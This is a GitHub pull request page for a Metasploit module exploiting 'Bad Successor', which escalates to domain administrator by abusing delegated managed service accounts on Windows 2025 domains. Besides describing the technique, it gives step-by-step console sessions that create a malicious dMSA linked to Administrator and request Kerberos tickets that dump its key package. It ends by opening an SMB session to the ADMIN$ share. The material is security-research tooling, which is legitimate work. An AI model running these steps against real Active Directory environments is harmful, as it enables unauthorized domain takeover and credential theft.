Skip to content

Conversation

@jheysel-r7
Copy link
Contributor

@jheysel-r7 jheysel-r7 commented Aug 15, 2025

This adds a new module which exploits "Bad Successor", which allows operators to elevate privileges on domain controllers running at the Windows 2025 forest functional level. Microsoft decided to introduce Delegated Managed Service Accounts in this forest level and they came ripe for exploitation.

Normal users can't create dMSA accounts where dMSA accounts are suppoed to be created, the Managed Service Accounts OU, but if a normal user has write access to any other OU they can then create a dMSA account in said OU. After creating the account the user can edit LDAP attributes of the account to indicate that this account should inherit privileges from the Administrator user. Once this is complete we can request kerberos tickets on behalf of the dMSA account and voilà, you're admin.

Action: CREATE_DMSA

CREATE_DMSA creates a dMSA account and configure it to be vulnerable to Bad Successor.

When the account is created the msds-groupmsamembership attribute is set to an nt security descriptor which allows the user the operator is authenticated with, to retrieve the password of the dMSA account.

After the account is created two attributes on the dMSA are updated: msds-managedaccountprecededbylink is set to the DN of the account you wish to impersonate and msds-delegatedmsastate is set to 2 which indicates the dMSA account migration is complete. It is necessary to first create the account and then afterwards update these attributes.

Action: GET_TICKET

GET_TICKET gets a TGT of the user that created the dMSA and has access to retrieve it's password. Then requests a TGT on behalf of the dMSA account with the previous TGT. Then using that TGT requests a TGS for a specific service (defaults to cifs) on the domain controller

This PR make changes to the get_ticket module and then subsequent libraries it calls in order impersonate the dMSA account and also dump the DMSA_KEY_PACKAGE (more here) during the authentication process.

Testing

Check Method

msf auxiliary(admin/ldap/bad_successor) > set DC_FQDN dc5.msf.test
DC_FQDN => dc5.msf.test
msf auxiliary(admin/ldap/bad_successor) > set DMSA_ACCOUNT_NAME attacker_dMSA
DMSA_ACCOUNT_NAME => attacker_dMSA
msf auxiliary(admin/ldap/bad_successor) > set LDAPDomain msf.test
LDAPDomain => msf.test
msf auxiliary(admin/ldap/bad_successor) > set LDAPPassword N0tpassword!
LDAPPassword => N0tpassword!
smsf auxiliary(admin/ldap/bad_successor) > set LDAPUsername msfuser
LDAPUsername => msfuser
msf auxiliary(admin/ldap/bad_successor) > set rhost 172.16.199.209
rhost => 172.16.199.209
msf auxiliary(admin/ldap/bad_successor) > check
[*] Discovering base DN automatically
[+] The domain is running at the Windows 2025 functional level, which is vulnerable to BadSuccessor.
[+] Found 3 OUs we can write to, listing below:
[+]  - OU=Domain Controllers,DC=msf,DC=test
[+]  - OU=BadBois,DC=msf,DC=test
[+]  - OU=dMSA_Accounts,DC=msf,DC=test
[*] 172.16.199.209:389 - The target appears to be vulnerable.

Create dMSA

msf auxiliary(admin/ldap/bad_successor) > run
[*] Discovering base DN automatically
[+] Found 3 OUs we can write to, listing them below:
[+]  - OU=Domain Controllers,DC=msf,DC=test
[+]  - OU=BadBois,DC=msf,DC=test
[+]  - OU=dMSA_Accounts,DC=msf,DC=test
[*] Attempting to create dmsa account cn: attacker_dMSA, dn: CN=attacker_dMSA,OU=dMSA_Accounts,DC=msf,DC=test
[+] Created dmsa attacker_dMSA
[*] Setting attributes for dMSA object: CN=attacker_dMSA,OU=dMSA_Accounts,DC=msf,DC=test
[+] Successfully updated attributes for dMSA object: CN=attacker_dMSA,OU=dMSA_Accounts,DC=msf,DC=test
[*] msds-delegatedmsastate => ["2"]
[*] msds-managedaccountprecededbylink => ["CN=Administrator,CN=Users,DC=msf,DC=test"]
[*] Auxiliary module execution completed

Get Ticket

msf auxiliary(admin/ldap/bad_successor) > run
[*] Running module against 172.16.199.209
[*] Loading admin/kerberos/get_ticket
[*] 172.16.199.209:88 - Getting TGT for msfuser@msf.test
[+] 172.16.199.209:88 - Received a valid TGT-Response
[*] 172.16.199.209:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20251119215739_default_172.16.199.209_mit.kerberos.cca_626542.bin
[+] Obtained TGT for the user msfuser
[*] Using cached credential for krbtgt/MSF.TEST@MSF.TEST msfuser@MSF.TEST
[*] 172.16.199.209:88 - Getting TGS impersonating attacker_dMSA$@msf.test (SPN: krbtgt/msf.test)
[+] 172.16.199.209:88 - Received a valid TGS-Response
[*] 172.16.199.209:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20251119215741_default_172.16.199.209_mit.kerberos.cca_263687.bin
[*] dMSA Key Package:
[*]   Current Keys:
[+]     Type: AES256, Key: c1085cb36ef8c1e7d62693ba4e3402523c8a4c300591ac2fdd1643d0cd80e6ad
[+]     Type: AES128, Key: ce576bbe6386f5aaee691192ecf0684a
[+]     Type: RC4, Key: 9857452d6e592835e9b4ef337c1be5c8
[*]   Previous Keys:
[+]     Type: RC4, Key: 4fd408d8f8ecb20d4b0768a0ac44b71f
[+] Obtained TGT for dMSA attacker_dMSA
[*] Using cached credential for krbtgt/MSF.TEST@MSF.TEST attacker_dMSA$@msf.test
[*] 172.16.199.209:88 - Getting TGS for attacker_dMSA$@msf.test (SPN: cifs/dc5.msf.test)
[+] 172.16.199.209:88 - Received a valid TGS-Response
[*] 172.16.199.209:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20251119215742_default_172.16.199.209_mit.kerberos.cca_858140.bin
[+] 172.16.199.209:88 - Received a valid delegation TGS-Response
[+] Obtained elevated TGT for attacker_dMSA
[*] Auxiliary module execution completed

Use ticket to connect to ADMIN$ share

msf auxiliary(scanner/smb/smb_login) > set username attacker_dMSA$
username => attacker_dMSA$
msf auxiliary(scanner/smb/smb_login) > set rhost 172.16.199.209
rhost => 172.16.199.209
msf auxiliary(scanner/smb/smb_login) > set domaincontrollerrhost 172.16.199.209
domaincontrollerrhost => 172.16.199.209
msf auxiliary(scanner/smb/smb_login) > set SMB::Rhostname dc5.msf.test
SMB::Rhostname => dc5.msf.test
msf auxiliary(scanner/smb/smb_login) > set SMB::Auth kerberos
SMB::Auth => kerberos
msf auxiliary(scanner/smb/smb_login) > set SMB::Krb5Ccname
SMB::Krb5Ccname =>
msf auxiliary(scanner/smb/smb_login) > set SMB::Krb5Ccname /home/msfuser/.msf4/loot/20251119221707_default_172.16.199.209_mit.kerberos.cca_895184.bin
SMB::Krb5Ccname => /home/msfuser/.msf4/loot/20251119221707_default_172.16.199.209_mit.kerberos.cca_895184.bin
msf auxiliary(scanner/smb/smb_login) > run
[*] 172.16.199.209:445    - 172.16.199.209:445 - Starting SMB login bruteforce
[*] 172.16.199.209:445    - Loaded a credential from ticket file: /home/msfuser/.msf4/loot/20251119221707_default_172.16.199.209_mit.kerberos.cca_895184.bin
[+] 172.16.199.209:445    - 172.16.199.209:445 - Success: 'msf.test\attacker_dMSA$:' Administrator
[*] SMB session 3 opened (172.16.199.1:33643 -> 172.16.199.209:445) at 2025-11-19 22:23:14 -0800
[*] 172.16.199.209:445    - Scanned 1 of 1 hosts (100% complete)
[*] 172.16.199.209:445    - Bruteforce completed, 1 credential was successful.
[*] 172.16.199.209:445    - 1 SMB session was opened successfully.
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_login) > sessions -i

Active sessions
===============

  Id  Name  Type  Information                              Connection
  --  ----  ----  -----------                              ----------
  3         smb   SMB attacker_dMSA$ @ 172.16.199.209:445  172.16.199.1:33643 -> 172.16.199.209:445 (172.16.199.209)

msf auxiliary(scanner/smb/smb_login) > sessions -i -1
[*] Starting interaction with 3...

SMB (172.16.199.209) > shares
Shares
======

    #  Name      Type          comment
    -  ----      ----          -------
    0  ADMIN$    DISK|SPECIAL  Remote Admin
    1  C$        DISK|SPECIAL  Default share
    2  IPC$      IPC|SPECIAL   Remote IPC
    3  NETLOGON  DISK          Logon server share
    4  SYSVOL    DISK          Logon server share
    
SMB (172.16.199.209) > shares -i ADMIN$
[+] Successfully connected to ADMIN$
SMB (172.16.199.209\ADMIN$) > pwd
Current directory is \\172.16.199.209\ADMIN$\

TODOs

  • Ensure that no matter the object inheritance settings in AD you're able to update the attributes of the dMSA account
    • In my test environment when msfuser created a new dMSA msfuser was granted Full Control of the object. This won't always be the case. In some scenarios msfuser will only be granted Owner and in turn WriteDacl in which case we need to update the security descriptor to allow msfuser to edit msds-managedaccountprecededbylink and msds-delegatedmsastate
  • Verify the refactoring of the return codes in the base authenticator are complete and tested

@github-actions
Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant